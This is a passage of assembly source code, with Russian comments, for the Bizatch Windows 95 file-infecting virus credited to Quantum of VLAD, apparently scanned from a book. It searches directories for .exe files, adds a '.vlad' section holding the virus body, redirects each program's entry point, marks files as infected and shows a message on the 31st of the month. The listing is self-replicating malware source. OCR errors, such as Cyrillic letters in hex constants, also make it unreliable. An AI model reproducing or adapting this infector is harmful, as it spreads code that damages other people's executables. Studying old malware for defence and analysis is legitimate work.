найден ли файл. Если файл не найден,
.меняем
директорию
стр еах,-1
jz foundnothing
[Откроем
файл для чтения и записи
gofile:
push О
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
lea eax, [ebp+offset fullname]
push eax
call CreateFile
.Сохраним описатель файла
mov dword ptr [ebp+offset ahandj.eax
Проверим,
не произошла ли ошибка.
.Если
ошибка произошла, ищем следующий файл
стр еах,-1
jz findnextone
.Поставим
указатель позиции чтения/записи на
поле
;со
смещением РЕ-заголовка
push О
push О
push 3Ch
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем
адрес РЕ-заголовка
push
О
lea
eax,[ebp+offset bytesread]
push
eax
push
4
lea
eax,[ebp+offset peheaderoffset]
push
eax
push
dword ptr [ebp+offset ahand]
call
ReadFile
.Поставим
указатель позиции чтения/записи на
начало РЕ-заголовка
push
О
push
О
push
dword ptr [ebp+offset peheaderoffset]
push
dword ptr [ebp+offset ahand]
call
SetFilePointer
;Считаем
число байт, достаточное для вычисления
полного размера
;РЕ-заголовка
и таблицы объектов
push О
lea eax, [ebp+offset bytesread]
push eax
push 58h
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
[Проверим
сигнатуру. Если ее нет, закрываем
;этот
файл и ищем следующий
cmp dword ptr [ebp+offset peheader],00004550h;
jnz notape
.Проверим
файл на зараженность. Если файл
заражен,
;то
закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],OFOODh
jz notape
cmp dword ptr [ebp+offset 52],4000000h
jz notape
[Поставим
указатель позиции чтения/записи на
начало РЕ-заголовка
push
О
push
О
push
dword ptr [ebp+offset peheaderoffset]
push
dword ptr [ebp+offset ahand]
call
SetFilePointer
;Считаем
весь РЕ-заголовок и таблицу объектов
push
О
lea
eax, [ebp+offset bytesread]
push
eax
push
dword ptr [ebp+offset headersize]
lea
eax, [ebp+offset peheader]
push
eax
push
dword ptr [ebp+offset ahand]
call
ReadFile
[Установим признак заражения
mov word ptr [ebp+offset peheader+4ch],OFOODh
[Найдем
смещение таблицы объектов
xor
eax.eax
mov
ax, word ptr [ebp+offset NtHeaderSize]
add
eax,18h
mov
dword ptr [ebp+offset ObjectTableoffset],eax
[Вычислим
смещение последнего (null) объекта в
таблице объектов
mov
esi,dword ptr [ebp+offset ObjectTableoffset]
lea
eax,[ebp+offset peheader]
add
esi,eax
xor
eax.eax
mov
ax,[ebp+offset numObj]
mov
ecx.40
xor edx.edx
mul ecx
add esi.eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi.esi
;Вычислим
относительный виртуальный адрес
(Relative Virtual Address
;или
RVA) нового объекта
mov eax, [edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx.dword ptr [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим
физический размер нового объекта
mov
ecx.dword ptr [ebp+offset filealign]
mov
eax.vend-vstart
xor
edx.edx
div
ecx
inc
eax
mul
ecx
mov
dword ptr [ebp+offset physicalsize],eax
.Вычислим
виртуальный размер нового объекта
mov
ecx.dword ptr [ebp+offset objalign]
mov
eax.vend-vstart+tOOOh
xor
edx.edx
div
ecx
inc
eax
mul
ecx
mov
dword ptr [ebp+offset virtualsize],eax
;
Вычислим физическое смещение нового
объекта
mov
eax,[edi-5*8+20]
add
eax,[edi-5*8+16]
mov
ecx.dword ptr [ebp+offset filealign]
xor
edx.edx
div
ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
[Обновим размер образа (размер в памяти) файла
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx, [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
.Скопируем новый объект в таблицу объектов
mov ecx, 10
rep movsd
[Вычислим точку входа RVA
mov eax.dword ptr [ebp+offset RVA]
mov ebx.dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax.ebx
add eax,5
[Установим
значение, необходимое для возврата в
носитель
mov
dword ptr [ebp+offset subme],eax
[Поставим
указатель позиции чтения/записи на
начало РЕ-заголовка
push
О
push
О
push
dword ptr [ebp+offset peheaderoffset]
push
dword ptr [ebp+offset ahand]
call
SetFilePointer
[Запишем
РЕ-заголовок и таблицу объектов в
файл
push
О
lea
eax, [ebp+offset bytesread]
push
eax
push
dword ptr [ebp+offset headersize]
lea
eax, [ebp+offset peheader]
push
eax
push
dword ptr [ebp+offset ahand]
call
WriteFile
[Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
[Поставим
указатель позиции чтения/записи
;по
физическому смещению нового объекта
push О
push О
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;3апишем
тело вируса в новый объект
push
О
lea
eax,[ebp+offset bytesread]
push
eax
push
vend-vstart
lea
eax, [ebp+offset vstart]
push
eax
push
dword ptr [ebp+offset ahand]
call
WriteFile
[Закроем
файл
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
[Переход
к следующему файлу
findnextone:
[Проверим,
сколько файлов заразили: если 3,
;то
выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea
eax, [ebp+offset win32_data_thang]
push
eax
push
dword ptr [ebp+offset searchhandle]
call
FindNext
.Если
файл найден, переходим к заражению
or
eax.eax
jnz
gofile
;Сюда
попадаем, если файл не найден
foundnothing:
;Сменим
директорию
хог
еах.еах
lea
edi,[ebp+offset tempdir]
mov
ecx,256/4
rep
stosd
lea
edi,[ebp+offset tempdirl]
mov
ecx.256/4
rep
stosd
Получим
текущую директорию
lea
esi,[ebp+offset tempdir]
push
esi
push
255
call
GetCurDir
.Сменим директорию на "."
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим
текущую директорию
lea
edi,[ebp+offset tempdirl]
push
edi
push
255
call
GetCurDir
Проверим,
корневая ли это директория. Если да, то
выходим
mov
есх.256/4
rep
cmpsd
jnz
infectdir
;"3аметаем
следы" и выходим в программу-носитель
outty:
;Возвратимся
в оригинальную текущую директорию
lea
eax,[ebp+offset orgdir]
push
eax
call
SetCurDir
Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push
eax
call
GetTime
Проверим
число. Если это 31-ое, выдаем сообщение
cmp
word ptr [ebp+offset day],31
jnz
nopayload
.Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax, [ebp+offset boxtitle]
push eax
lea eax, [ebp+offset boxmsg]
push eax
push 0
call MsgBox
;
Выход в программу-носитель
nopayload:
pop eax
jmp eax
;Когда
KERNEL будет обнаружен, его смещение будет
записано
kern
dd OBFF93B95h
;3начения
KERNEL, известные нам
kern1
dd OBFF93B95h
kern2
dd OBFF93C1Dh
;Чтение
текущей директории
GetCurDir:
;3апишем
в стек значение для получения
текущей
директории
и вызовем KERNEL
push OBFF77744h
jmp [ebp+offset kern]
.Установка
текущей директории
SetCurDir:
;3апишем
в стек значение для установки
текущей
директории
и вызовем KERNEL
push OBFF7771Dh
jmp [ebp+offset kern]
[Получение
времени и даты
GetTime:
Проверим,
какой KERNEL работает
cmp
[ebp+offset kern],OBFF93B95h
jnz
gettimekern2
;3апишем
в стек значение для получения
;времени
и даты и вызовем KERNEL
push OBFF9DOB6h
jmp
[ebp+offset kern]
gettimekern2:
;3апишем
в стек значение для получения
;времени
и даты и вызовем KERNEL
push OBFF9D-l4Eh
jmp [ebp+offset kern]
;Вывод
сообщения
MsgBox:
.Запишем
в стек значение для вывода сообщения и
вызовем KERNEL
push
OBFF638D9h
jmp
[ebp+offset kern]
.Поиск
первого файла
FindFile:
;3апишем
в стек значение для поиска первого
файла
;и
вызовем KERNEL
push OBFF77893h
jmp [ebp+offset kern]
;
Поиск следующего файла
FindNext:
;3апишем
в стек значение для поиска
[следующего
файла и вызовем KERNEL
push OBFF778CBh
jmp [ebp+offset kern]
[Открытие/создание
файла
CreateFile:
;3апишем
в стек значение для открытия/создания
файла
;и
вызовем KERNEL
push OBFF77817h
jmp [ebp+offset kern]
[Установка
указателя чтения/записи
SetFilePointer:
;3апишем
в стек значение для установки
.указателя
чтения/записи файла и вызовем KERNEL
push OBFF76FAOh
jmp [ebp+offset kern]
;Чтение
из файла
ReadFile:
;3апишем
в стек значение для чтения из файла и
вызовем KERNEL
push
OBFF75806h
jmp
[ebp+offset kern]
;3апись
в файл
WriteFile:
;3апишем
в стек значение для записи в файл и
вызовем KERNEL
push
OBFF7580Dh
jmp
[ebp+offset kern]
;3акрытие
файла
CloseFile:
;3апишем
в стек значение для закрытия файла и
вызовем KERNEL
push
OBFF7BC72h
jmp
[ebp+offset kern]
;Счетчик
заражений
countinfect
db 0
Используется
для поиска файлов
win32_data_thang:
fileattr
dd 0
createtime
dd 0,0
lastaccesstime
dd 0,0
lastwritetime
dd 0,0
filesize
dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
;Имя
сообщения, выводимого 31-го числа
boxtitle
db "Bizatch by Quantum / VLAD",0
.-Сообщение,
выводимое 31-го числа
boxmsg
db "The taste of fame just got tastier!",Odh
db "VLAD Australia does it again with the world"s first Win95 Virus"
db Odh.Odh
db 9."From the old school to the new. ".Odh.Odh
db 9,"Metabolis",Odh
db 9,"Qark",Odh
db 9,"Darkman",Odh
db 9,"Quantum",Odh
db
9,"CoKe",0
messagetostupidavers
db "Please note: the name of this virus is [Bizatch]"
db "written by Quantum of VLAD",0
Данные
о директориях
orgdir
db 256 dup (0)
tempdir
db 256 dup (0)
tempdirl
db 256 dup (0)
Используется
для смены директории
dotdot
db ".",0
Используется
для получения времени/даты
systimestruct:
dw
0,0,0
day
dw 0
dw 0,0,0,0
;Индекс
для поиска файлов
searchhandle
dd О
;Маска
для поиска
fname
db "*.exe",0
;
Описатель открытого файла
ahand
dd О
;Смещение
РЕ-заголовка в файле
peheaderoffset
dd О
[Смещение
таблицы объектов
ObjectTableoffset
dd О
[Количество
записанных/считанных байт при работе
с файлом
bytesread
dd О
.Новый
объект
newobject:
oname
db ".vlad",0,0,0
virtualsize
dd 0
RVA
dd 0
physicalsize
dd 0
physicaloffset
dd 0
reserved
dd 0,0,0
objectflags
db 40h,0,0,OCOh
Данные,
необходимые для заражения файла
peheader:
signature
dd 0
cputype
dw 0
numObj
dw 0
db
3*4 dup (0)
NtHeaderSize
dw 0
Flags
dw 0
db
4*4 dup (0)
entrypointRVA
dd 0
db
3*4 dup (0)
objalign
dd 0
filealign
dd 0
db
4*4 dup (0)
imagesize
dd 0
headersize
dd 0
;0бласть
памяти для чтения остатка РЕ-заголовка
и таблицы объектов
vend:
db
-lOOOh dup (0)
ends
end
vstart